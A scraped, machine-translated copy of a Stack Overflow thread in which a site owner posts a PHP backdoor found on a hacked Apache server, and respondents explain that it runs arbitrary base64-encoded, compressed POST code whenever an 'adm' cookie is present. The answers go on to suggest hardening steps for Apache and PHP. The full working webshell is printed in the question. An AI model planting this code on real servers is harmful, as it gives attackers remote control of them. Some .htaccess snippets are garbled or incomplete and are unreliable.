Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/algorithm/11.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
PHP代码帮助-黑客攻击的apache服务器_Php - Fatal编程技术网

PHP代码帮助-黑客攻击的apache服务器

PHP代码帮助-黑客攻击的apache服务器,php,Php,我发现以下代码出现在多个服务器网站上的两个相同的.php文件中。这些文件的名称不显眼,例如“rementer.php”(但每次都有不同的名称),并出现在my/scripts/和/uploads/folders中,有时出现在其他文件夹中 它们的外观并不是完全随机的,但我对Apache服务器或PHP的了解还不够,以至于我不知道a)它是如何出现的b)它是做什么的 检查日志,它们都出现在相似的时间,并被调用一次,仅此而已 任何帮助都将不胜感激 if (isset($_COOKIE["adm"])) {

我发现以下代码出现在多个服务器网站上的两个相同的.php文件中。这些文件的名称不显眼,例如“rementer.php”(但每次都有不同的名称),并出现在my/scripts/和/uploads/folders中,有时出现在其他文件夹中

它们的外观并不是完全随机的,但我对Apache服务器或PHP的了解还不够,以至于我不知道a)它是如何出现的b)它是做什么的

检查日志,它们都出现在相似的时间,并被调用一次,仅此而已

任何帮助都将不胜感激

if (isset($_COOKIE["adm"])) {
    if (isset($_POST['crc'], $_POST['cmd'])) {
        if (sprintf('%u', crc32($_POST['cmd'])) == $_POST['crc']) {
            eval(gzuncompress(base64_decode($_POST['cmd'])));
        } else 
            echo "repeat_cmd";
    }
}
如果客户端的cookie中存在key
adm
,则此代码将执行(在服务器上)在POST请求中找到的任意代码。该请求将进行Base-64编码和加密,以混淆其内容。任何代码都可能被执行,包括格式化硬盘的代码(如果您的PHP服务器设置为允许)


你被黑了。立即使服务器脱机。如果可以的话,请在擦除主机之前获得运行分析的帮助—您不想重新安装并联机,只是为了再次被黑客攻击。更改所有密码并锁定服务器是一个良好的开端。

该文件允许恶意人员在您的系统上执行他们想要的任何PHP代码

基本上,如果满足某些验证(即恶意用户具有给定的cookie值),它将接受发布的“cmd”,base64解码,gzip解压缩,并将其作为PHP进行评估


我建议您更改密码,或者重新安装apache。也可以立即删除这些文件,或者如果可能的话,从备份中进行恢复。

基本上,该代码允许用户执行以下操作:

yoursite.com/reminder.php?cmd=blahblahblah
本部分:

blahblahblah
是gzip压缩的base64编码字符串。一旦解码并取消压缩,它将由服务器执行
eval()
d

换句话说,你的服务器坏了,因为任何人都可以在上面运行任何代码,包括上传文件、删除内容、编辑内容等等

我建议你现在就让你的网站离线,直到你修复它


问题可能是未初始化的公共
/uploads
目录。如果您不过滤用户的上传并将上载文件夹保持为公共,他们可以上传并执行任何他们想要的内容


你的网站上正在运行什么?CMS?还是完全是手工制作的?

您的主要问题是,这些文件是如何来到这里的

有几种可能性:

  • 对服务器具有FTP访问权限的人的FTP客户端被 病毒。这是一种将PHP脚本放到web服务器上的简单方法 黑客。因此,请在所有通过 FTP到您的Web服务器
  • web服务器运行多个web应用程序,其中一个非常糟糕,因此不要忘记检查所有web应用程序,并可能尝试在每个web应用程序上设置不同的open_basedir限制(将其放在virtualhosts中)。研究如何使用
    php\u值
    指令设置每个应用程序的php设置,并至少调整
    open\u basedir
    upload\u tmp\u dir
    会话。保存路径
  • 您当前的web应用程序允许将文件上载到目录中,检查所有文件上载片段,并阅读(以及其他有关PHP安全性的资源,如Ilia Alshanetsky的《PHP安全性架构师指南》)来修复这些文件
  • 如果您无法修复应用程序,请研究使用一些安全规则代理应用程序的解决方案,过滤用户输入,例如,
    mod_security
    ,但它们是其他的
要避免在不应包含PHP脚本的目录(如上载文件夹)上执行PHP脚本,可以添加此规则(在
部分或.htaccess中):

这将强制此目录中的所有php文件作为简单文本。另一种解决方案是强制许多扩展成为cgi脚本,然后禁止执行cgi脚本:

Options -ExecCGI
AddHandler cgi-script .php .php3 .php4 .php5 .phps .phtml .pl .py .jsp .asp .htm .shtml .sh .cgi 
您还可以根据扩展名限制允许的文件(如果不是图像,则此处禁止):


命令拒绝,允许
全盘否定

这是一个远程PHP shell,可以使用Web服务器的权限执行PHP命令。如果所有文件都是在同一时间创建的,并且有很多文件,则可以排除FTP。记下文件的时间戳,然后在服务器日志中运行同时请求的(php)页面。我希望您有一个好的日志解析器。文件不是在同一时间创建的,这使我能够回溯文件时间。仅供参考,我找到了一个承载旧OSCommerce脚本的站点的起点。我不知道这是否对他们有帮助,或者他们通过其他方式获得了客户的密码,但他们获得了FTP访问权(使用立陶宛的IP)-开始到处乱放.htaccess文件。一个月后,他们又回来了,就在那个时,我的其他网站出现了随机文件的日志。每次他们第一次在每个站点上创建一个根php文件,允许他们创建这些其他文件。所有的密码都被更改了,不可靠的文件也被删除了——问题似乎得到了控制。感谢所有人的建议“你被黑客攻击了”,这让我感到寒心:)你的网站上运行着什么?CMS?还是完全是手工制作的?这是一个有多个站点的虚拟服务器,有些运行我自己的代码,有些运行其他脚本。我需要弄清楚它是从哪里开始的,但我相信这不是我自己写的。这是一篇非常有用的文章。我一直在考虑设置目录访问限制,但不确定如何做到这一点,所以这给了我很多思考的方向。
Options -ExecCGI
AddHandler cgi-script .php .php3 .php4 .php5 .phps .phtml .pl .py .jsp .asp .htm .shtml .sh .cgi 
<Files ^(*.jpeg|*.jpg|*.png|*.gif)>
   order deny,allow
   deny from all
</Files>